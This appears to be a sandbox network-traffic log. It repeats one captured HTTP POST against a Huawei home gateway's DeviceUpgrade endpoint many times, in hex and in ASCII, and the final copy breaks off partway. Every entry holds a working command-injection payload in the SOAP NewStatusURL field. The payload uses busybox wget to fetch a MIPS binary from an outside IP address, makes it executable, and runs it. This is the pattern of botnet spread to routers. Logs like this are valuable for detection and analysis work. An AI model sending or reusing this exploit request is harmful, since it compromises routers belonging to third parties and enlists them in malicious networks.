Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 